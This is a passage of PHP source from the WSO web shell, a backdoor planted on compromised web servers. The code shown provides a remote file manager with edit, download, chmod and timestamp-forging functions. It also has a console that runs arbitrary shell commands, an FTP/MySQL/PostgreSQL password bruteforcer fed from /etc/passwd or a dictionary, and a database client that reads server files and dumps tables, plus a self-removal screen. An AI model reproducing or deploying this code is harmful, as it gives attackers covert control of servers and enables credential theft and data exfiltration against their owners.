689 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
690 );
691 if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) $files[] = array_merge($tmp, array(
692 'type' => 'file'
693 ));
694 elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
695 'type' => 'link',
696 'link' => readlink($tmp['path'])
697 ));
698 elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i])) $dirs[] = array_merge($tmp, array(
699 'type' => 'dir'
700 ));
701 }
702
703 $GLOBALS['sort'] = $sort;
704 function wsoCmp($a, $b)
705 {
706 if ($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]) , strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
707 else return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
708 }
709
710 usort($files, "wsoCmp");
711 usort($dirs, "wsoCmp");
712 $files = array_merge($dirs, $files);
713 $l = 0;
714 foreach($files as $f)
715 {
716 echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? wsoViewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
717 $l = $l ? 0 : 1;
718 }
719
720 echo "<tr><td colspan=7> <input type=hidden name=a value='FilesMan'> <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'> <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
721 if (class_exists('ZipArchive')) echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
722 echo "<option value='tar'>Compress (tar.gz)</option>";
723 if (!empty($_COOKIE['act']) && @count($_COOKIE['f'])) echo "<option value='paste'>Paste / Compress</option>";
724 echo "</select> ";
725 if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar'))) echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'> ";
726 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
727 wsoFooter();
728 }
729
730function actionStringTools()
731 {
732 if (!function_exists('hex2bin'))
733 {
734 function hex2bin($p)
735 {
736 return decbin(hexdec($p));
737 }
738 }
739
740 if (!function_exists('binhex'))
741 {
742 function binhex($p)
743 {
744 return dechex(bindec($p));
745 }
746 }
747
748 if (!function_exists('hex2ascii'))
749 {
750 function hex2ascii($p)
751 {
752 $r = '';
753 for ($i = 0; $i < strLen($p); $i+= 2)
754 {
755 $r.= chr(hexdec($p[$i] . $p[$i + 1]));
756 }
757
758 return $r;
759 }
760 }
761
762 if (!function_exists('ascii2hex'))
763 {
764 function ascii2hex($p)
765 {
766 $r = '';
767 for ($i = 0; $i < strlen($p); ++$i) $r.= sprintf('%02X', ord($p[$i]));
768 return strtoupper($r);
769 }
770 }
771
772 if (!function_exists('full_urlencode'))
773 {
774 function full_urlencode($p)
775 {
776 $r = '';
777 for ($i = 0; $i < strlen($p); ++$i) $r.= '%' . dechex(ord($p[$i]));
778 return strtoupper($r);
779 }
780 }
781
782 $stringTools = array(
783 'Base64 encode' => 'base64_encode',
784 'Base64 decode' => 'base64_decode',
785 'Url encode' => 'urlencode',
786 'Url decode' => 'urldecode',
787 'Full urlencode' => 'full_urlencode',
788 'md5 hash' => 'md5',
789 'sha1 hash' => 'sha1',
790 'crypt' => 'crypt',
791 'CRC32' => 'crc32',
792 'ASCII to HEX' => 'ascii2hex',
793 'HEX to ASCII' => 'hex2ascii',
794 'HEX to DEC' => 'hexdec',
795 'HEX to BIN' => 'hex2bin',
796 'DEC to HEX' => 'dechex',
797 'DEC to BIN' => 'decbin',
798 'BIN to HEX' => 'binhex',
799 'BIN to DEC' => 'bindec',
800 'String to lower case' => 'strtolower',
801 'String to upper case' => 'strtoupper',
802 'Htmlspecialchars' => 'htmlspecialchars',
803 'String length' => 'strlen',
804 );
805 if (isset($_POST['ajax']))
806 {
807 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
808 ob_start();
809 if (in_array($_POST['p1'], $stringTools)) echo $_POST['p1']($_POST['p2']);
810 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
811 echo strlen($temp) , "\n", $temp;
812 exit;
813 }
814
815 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
816 wsoHeader();
817 echo '<h1>String conversions</h1><div class=content>';
818 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
819 foreach($stringTools as $k => $v) echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
820 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br /><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
821 if (!empty($_POST['p1']))
822 {
823 if (in_array($_POST['p1'], $stringTools)) echo htmlspecialchars($_POST['p1']($_POST['p2']));
824 }
825
826 echo "</pre></div><br /><h1>Search files:</h1><div class=content> <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr> <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> <tr><td></td><td><input type='submit' value='>>'></td></tr> </table></form>";
827 function wsoRecursiveGlob($path)
828 {
829 if (substr($path, -1) != '/') $path.= '/';
830 $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']) , @glob($path . '*', GLOB_ONLYDIR)));
831 if (is_array($paths) && @count($paths))
832 {
833 foreach($paths as $item)
834 {
835 if (@is_dir($item))
836 {
837 if ($path != $item) wsoRecursiveGlob($item);
838 }
839 else
840 {
841 if (empty($_POST['p2']) || @strpos(file_get_contents($item) , $_POST['p2']) !== false) echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($item) . "\", \"view\",\"\")'>" . htmlspecialchars($item) . "</a><br />";
842 }
843 }
844 }
845 }
846
847 if (@$_POST['p3']) wsoRecursiveGlob($_POST['c']);
848 echo "</div><br /><h1>Search for hash:</h1><div class=content> <form method='post' target='_blank' name='hf'> <input type='text' name='hash' style='width:200px;'><br /> <input type='hidden' name='act' value='find'/> <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br /> <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br /> <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br /> </form></div>";
849 wsoFooter();
850 }
851
852function actionFilesTools()
853 {
854 if (isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']);
855 if (@$_POST['p2'] == 'download')
856 {
857 if (@is_file($_POST['p1']) && @is_readable($_POST['p1']))
858 {
859 ob_start("ob_gzhandler", 4096);
860 header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
861 if (function_exists("mime_content_type"))
862 {
863 $type = @mime_content_type($_POST['p1']);
864 header("Content-Type: " . $type);
865 }
866 else header("Content-Type: application/octet-stream");
867 $fp = @fopen($_POST['p1'], "r");
868 if ($fp)
869 {
870 while (!@feof($fp)) echo @fread($fp, 1024);
871 fclose($fp);
872 }
873 }
874
875 exit;
876 }
877
878 if (@$_POST['p2'] == 'mkfile')
879 {
880 if (!file_exists($_POST['p1']))
881 {
882 $fp = @fopen($_POST['p1'], 'w');
883 if ($fp)
884 {
885 $_POST['p2'] = "edit";
886 fclose($fp);
887 }
888 }
889 }
890
891 wsoHeader();
892 echo '<h1>File tools</h1><div class=content>';
893 if (!file_exists(@$_POST['p1']))
894 {
895 echo 'File not exists';
896 wsoFooter();
897 return;
898 }
899
900 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
901 if (!$uid)
902 {
903 $uid['name'] = @fileowner($_POST['p1']);
904 $gid['name'] = @filegroup($_POST['p1']);
905 }
906 else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
907 echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? wsoViewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . wsoPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br />';
908 echo '<span>Change time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br /><br />';
909 if (empty($_POST['p2'])) $_POST['p2'] = 'view';
910 if (is_file($_POST['p1'])) $m = array(
911 'View',
912 'Highlight',
913 'Download',
914 'Hexdump',
915 'Edit',
916 'Chmod',
917 'Rename',
918 'Touch'
919 );
920 else $m = array(
921 'Chmod',
922 'Rename',
923 'Touch'
924 );
925 foreach($m as $v) echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . ((strtolower($v) == @$_POST['p2']) ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
926 echo '<br /><br />';
927 switch ($_POST['p2'])
928 {
929 case 'view':
930 echo '<pre class=ml1>';
931 $fp = @fopen($_POST['p1'], 'r');
932 if ($fp)
933 {
934 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
935 @fclose($fp);
936 }
937
938 echo '</pre>';
939 break;
940
941 case 'highlight':
942 if (@is_readable($_POST['p1']))
943 {
944 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
945 $code = @highlight_file($_POST['p1'], true);
946 echo str_replace(array(
947 '<span ',
948 '</span>'
949 ) , array(
950 '<font ',
951 '</font>'
952 ) , $code) . '</div>';
953 }
954
955 break;
956
957 case 'chmod':
958 if (!empty($_POST['p3']))
959 {
960 $perms = 0;
961 for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) $perms+= (int)$_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
962 if (!@chmod($_POST['p1'], $perms)) echo 'Can\'t set permissions!<br /><script>document.mf.p3.value="";</script>';
963 }
964
965 clearstatcache();
966 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])) , -4) . '"><input type=submit value=">>"></form>';
967 break;
968
969 case 'edit':
970 if (!is_writable($_POST['p1']))
971 {
972 echo 'File isn\'t writeable';
973 break;
974 }
975
976 if (!empty($_POST['p3']))
977 {
978 $time = @filemtime($_POST['p1']);
979 $_POST['p3'] = substr($_POST['p3'], 1);
980 $fp = @fopen($_POST['p1'], "w");
981 if ($fp)
982 {
983 @fwrite($fp, $_POST['p3']);
984 @fclose($fp);
985 echo 'Saved!<br /><script>p3_="";</script>';
986 @touch($_POST['p1'], $time, $time);
987 }
988 }
989
990 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
991 $fp = @fopen($_POST['p1'], 'r');
992 if ($fp)
993 {
994 while (!@feof($fp)) echo htmlspecialchars(@fread($fp, 1024));
995 @fclose($fp);
996 }
997
998 echo '</textarea><input type=submit value=">>"></form>';
999 break;
1000
1001 case 'hexdump':
1002 $c = @file_get_contents($_POST['p1']);
1003 $n = 0;
1004 $h = array(
1005 '00000000<br />',
1006 '',
1007 ''
1008 );
1009 $len = strlen($c);
1010 for ($i = 0; $i < $len; ++$i)
1011 {
1012 $h[1].= sprintf('%02X', ord($c[$i])) . ' ';
1013 switch (ord($c[$i]))
1014 {
1015 case 0:
1016 $h[2].= ' ';
1017 break;
1018
1019 case 9:
1020 $h[2].= ' ';
1021 break;
1022
1023 case 10:
1024 $h[2].= ' ';
1025 break;
1026
1027 case 13:
1028 $h[2].= ' ';
1029 break;
1030
1031 default:
1032 $h[2].= $c[$i];
1033 break;
1034 }
1035
1036 $n++;
1037 if ($n == 32)
1038 {
1039 $n = 0;
1040 if ($i + 1 < $len)
1041 {
1042 $h[0].= sprintf('%08X', $i + 1) . '<br />';
1043 }
1044
1045 $h[1].= '<br />';
1046 $h[2].= "\n";
1047 }
1048 }
1049
1050 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
1051 break;
1052
1053 case 'rename':
1054 if (!empty($_POST['p3']))
1055 {
1056 if (!@rename($_POST['p1'], $_POST['p3'])) echo 'Can\'t rename!<br />';
1057 else die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
1058 }
1059
1060 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
1061 break;
1062
1063 case 'touch':
1064 if (!empty($_POST['p3']))
1065 {
1066 $time = strtotime($_POST['p3']);
1067 if ($time)
1068 {
1069 if (!touch($_POST['p1'], $time, $time)) echo 'Fail!';
1070 else echo 'Touched!';
1071 }
1072 else echo 'Bad time format!';
1073 }
1074
1075 clearstatcache();
1076 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
1077 break;
1078 }
1079
1080 echo '</div>';
1081 wsoFooter();
1082 }
1083
1084function actionConsole()
1085 {
1086 if (!empty($_POST['p1']) && !empty($_POST['p2']))
1087 {
1088 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
1089 $_POST['p1'].= ' 2>&1';
1090 }
1091 elseif (!empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
1092 if (isset($_POST['ajax']))
1093 {
1094 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1095 ob_start();
1096 echo "d.cf.cmd.value='';\n";
1097 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']) , "\n\r\t\\'\0"));
1098 if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match))
1099 {
1100 if (@chdir($match[1]))
1101 {
1102 $GLOBALS['cwd'] = @getcwd();
1103 echo "c_='" . $GLOBALS['cwd'] . "';";
1104 }
1105 }
1106
1107 echo "d.cf.output.value+='" . $temp . "';";
1108 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1109 $temp = ob_get_clean();
1110 echo strlen($temp) , "\n", $temp;
1111 exit;
1112 }
1113
1114 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1115 wsoHeader();
1116 echo "<script> if(window.Event) window.captureEvents(Event.KEYDOWN); var cmds = new Array(''); var cur = 0; function kp(e) { var n = (window.Event) ? e.which : e.keyCode; if(n == 38) { cur--; if(cur>=0) document.cf.cmd.value = cmds[cur]; else cur++; } else if(n == 40) { cur++; if(cur < cmds.length) document.cf.cmd.value = cmds[cur]; else cur--; } } function add(cmd) { cmds.pop(); cmds.push(cmd); cmds.push(''); cur = cmds.length-1; } </script>";
1117 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1118 foreach($GLOBALS['aliases'] as $n => $v)
1119 {
1120 if ($v == '')
1121 {
1122 echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
1123 continue;
1124 }
1125
1126 echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
1127 }
1128
1129 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1130 if (!empty($_POST['p1']))
1131 {
1132 echo htmlspecialchars("$ " . $_POST['p1'] . "\n" . wsoEx($_POST['p1']));
1133 }
1134
1135 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1136 echo '</form></div><script>d.cf.cmd.focus();</script>';
1137 wsoFooter();
1138 }
1139
1140function actionLogout()
1141 {
1142 setcookie(md5($_SERVER['HTTP_HOST']) , '', time() - 3600);
1143 die('bye!');
1144 }
1145
1146function actionSelfRemove()
1147 {
1148 if ($_POST['p1'] == 'yes')
1149 if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) die('Shell has been removed');
1150 else echo 'unlink error!';
1151 if ($_POST['p1'] != 'yes') wsoHeader();
1152 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1153 wsoFooter();
1154 }
1155
1156function actionBruteforce()
1157 {
1158 wsoHeader();
1159 if (isset($_POST['proto']))
1160 {
1161 echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br />';
1162 if ($_POST['proto'] == 'ftp')
1163 {
1164 function wsoBruteForce($ip, $port, $login, $pass)
1165 {
1166 $fp = @ftp_connect($ip, $port ? $port : 21);
1167 if (!$fp) return false;
1168 $res = @ftp_login($fp, $login, $pass);
1169 @ftp_close($fp);
1170 return $res;
1171 }
1172 }
1173 elseif ($_POST['proto'] == 'mysql')
1174 {
1175 function wsoBruteForce($ip, $port, $login, $pass)
1176 {
1177 $res = @mysql_connect($ip . ':' . ($port ? $port : 3306) , $login, $pass);
1178 @mysql_close($res);
1179 return $res;
1180 }
1181 }
1182 elseif ($_POST['proto'] == 'pgsql')
1183 {
1184 function wsoBruteForce($ip, $port, $login, $pass)
1185 {
1186 $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
1187 $res = @pg_connect($str);
1188 @pg_close($res);
1189 return $res;
1190 }
1191 }
1192
1193 $success = 0;
1194 $attempts = 0;
1195 $server = explode(":", $_POST['server']);
1196 if ($_POST['type'] == 1)
1197 {
1198 $temp = @file('/etc/passwd');
1199 if (is_array($temp))
1200 foreach($temp as $line)
1201 {
1202 $line = explode(":", $line);
1203 ++$attempts;
1204 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $line[0]))
1205 {
1206 $success++;
1207 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br />';
1208 }
1209
1210 if (@$_POST['reverse'])
1211 {
1212 $tmp = "";
1213 for ($i = strlen($line[0]) - 1; $i >= 0; --$i) $tmp.= $line[0][$i];
1214 ++$attempts;
1215 if (wsoBruteForce(@$server[0], @$server[1], $line[0], $tmp))
1216 {
1217 $success++;
1218 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
1219 }
1220 }
1221 }
1222 }
1223 elseif ($_POST['type'] == 2)
1224 {
1225 $temp = @file($_POST['dict']);
1226 if (is_array($temp))
1227 foreach($temp as $line)
1228 {
1229 $line = trim($line);
1230 ++$attempts;
1231 if (wsoBruteForce($server[0], @$server[1], $_POST['login'], $line))
1232 {
1233 $success++;
1234 echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br />';
1235 }
1236 }
1237 }
1238
1239 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br />";
1240 }
1241
1242 echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' . '<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' . '<input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' . '<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' . '<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1243 echo '</div><br />';
1244 wsoFooter();
1245 }
1246
1247function actionSql()
1248 {
1249 class DbClass
1250
1251 {
1252 var $type;
1253 var $link;
1254 var $res;
1255 function DbClass($type)
1256 {
1257 $this->type = $type;
1258 }
1259
1260 function connect($host, $user, $pass, $dbname)
1261 {
1262 switch ($this->type)
1263 {
1264 case 'mysql':
1265 if ($this->link = @mysql_connect($host, $user, $pass, true)) return true;
1266 break;
1267
1268 case 'pgsql':
1269 $host = explode(':', $host);
1270 if (!$host[1]) $host[1] = 5432;
1271 if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname")) return true;
1272 break;
1273 }
1274
1275 return false;
1276 }
1277
1278 function selectdb($db)
1279 {
1280 switch ($this->type)
1281 {
1282 case 'mysql':
1283 if (@mysql_select_db($db)) return true;
1284 break;
1285 }
1286
1287 return false;
1288 }
1289
1290 function query($str)
1291 {
1292 switch ($this->type)
1293 {
1294 case 'mysql':
1295 return $this->res = @mysql_query($str);
1296 break;
1297
1298 case 'pgsql':
1299 return $this->res = @pg_query($this->link, $str);
1300 break;
1301 }
1302
1303 return false;
1304 }
1305
1306 function fetch()
1307 {
1308 $res = func_num_args() ? func_get_arg(0) : $this->res;
1309 switch ($this->type)
1310 {
1311 case 'mysql':
1312 return @mysql_fetch_assoc($res);
1313 break;
1314
1315 case 'pgsql':
1316 return @pg_fetch_assoc($res);
1317 break;
1318 }
1319
1320 return false;
1321 }
1322
1323 function listDbs()
1324 {
1325 switch ($this->type)
1326 {
1327 case 'mysql':
1328 return $this->query("SHOW databases");
1329 break;
1330
1331 case 'pgsql':
1332 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1333 break;
1334 }
1335
1336 return false;
1337 }
1338
1339 function listTables()
1340 {
1341 switch ($this->type)
1342 {
1343 case 'mysql':
1344 return $this->res = $this->query('SHOW TABLES');
1345 break;
1346
1347 case 'pgsql':
1348 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1349 break;
1350 }
1351
1352 return false;
1353 }
1354
1355 function error()
1356 {
1357 switch ($this->type)
1358 {
1359 case 'mysql':
1360 return @mysql_error();
1361 break;
1362
1363 case 'pgsql':
1364 return @pg_last_error();
1365 break;
1366 }
1367
1368 return false;
1369 }
1370
1371 function setCharset($str)
1372 {
1373 switch ($this->type)
1374 {
1375 case 'mysql':
1376 if (function_exists('mysql_set_charset')) return @mysql_set_charset($str, $this->link);
1377 else $this->query('SET CHARSET ' . $str);
1378 break;
1379
1380 case 'pgsql':
1381 return @pg_set_client_encoding($this->link, $str);
1382 break;
1383 }
1384
1385 return false;
1386 }
1387
1388 function loadFile($str)
1389 {
1390 switch ($this->type)
1391 {
1392 case 'mysql':
1393 return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
1394 break;
1395
1396 case 'pgsql':
1397 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" . addslashes($str) . "';select file from wso2;");
1398 $r = array();
1399 while ($i = $this->fetch()) $r[] = $i['file'];
1400 $this->query('drop table wso2');
1401 return array(
1402 'file' => implode("\n", $r)
1403 );
1404 break;
1405 }
1406
1407 return false;
1408 }
1409
1410 function dump($table, $fp = false)
1411 {
1412 switch ($this->type)
1413 {
1414 case 'mysql':
1415 $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
1416 $create = mysql_fetch_array($res);
1417 $sql = $create[1] . ";\n";
1418 if ($fp) fwrite($fp, $sql);
1419 else echo ($sql);
1420 $this->query('SELECT * FROM `' . $table . '`');
1421 $i = 0;
1422 $head = true;
1423 while ($item = $this->fetch())
1424 {
1425 $sql = '';
1426 if ($i % 1000 == 0)
1427 {
1428 $head = true;
1429 $sql = ";\n\n";
1430 }
1431
1432 $columns = array();
1433 foreach($item as $k => $v)
1434 {
1435 if ($v === null) $item[$k] = "NULL";
1436 elseif (is_int($v)) $item[$k] = $v;
1437 else $item[$k] = "'" . @mysql_real_escape_string($v) . "'";
1438 $columns[] = "`" . $k . "`";
1439 }
1440
1441 if ($head)
1442 {
1443 $sql.= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $item) . ')';
1444 $head = false;
1445 }
1446 else $sql.= "\n\t,(" . implode(", ", $item) . ')';
1447 if ($fp) fwrite($fp, $sql);
1448 else echo ($sql);
1449 $i++;
1450 }
1451
1452 if (!$head)
1453 if ($fp) fwrite($fp, ";\n\n");
1454 else echo (";\n\n");
1455 break;
1456
1457 case 'pgsql':
1458 $this->query('SELECT * FROM ' . $table);
1459 while ($item = $this->fetch())
1460 {
1461 $columns = array();
1462 foreach($item as $k => $v)
1463 {
1464 $item[$k] = "'" . addslashes($v) . "'";
1465 $columns[] = $k;
1466 }
1467
1468 $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $item) . ');' . "\n";
1469 if ($fp) fwrite($fp, $sql);
1470 else echo ($sql);
1471 }
1472
1473 break;
1474 }
1475
1476 return false;
1477 }
1478 };
1479 $db = new DbClass($_POST['type']);
1480 if ((@$_POST['p2'] == 'download') && (@$_POST['p1'] != 'select'))
1481 {
1482 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1483 $db->selectdb($_POST['sql_base']);
1484 switch ($_POST['charset'])
1485 {
1486 case "Windows-1251":
1487 $db->setCharset('cp1251');
1488 break;
1489
1490 case "UTF-8":
1491 $db->setCharset('utf8');
1492 break;
1493
1494 case "KOI8-R":
1495 $db->setCharset('koi8r');
1496 break;
1497
1498 case "KOI8-U":
1499 $db->setCharset('koi8u');
1500 break;
1501
1502 case "cp866":
1503 $db->setCharset('cp866');
1504 break;
1505 }
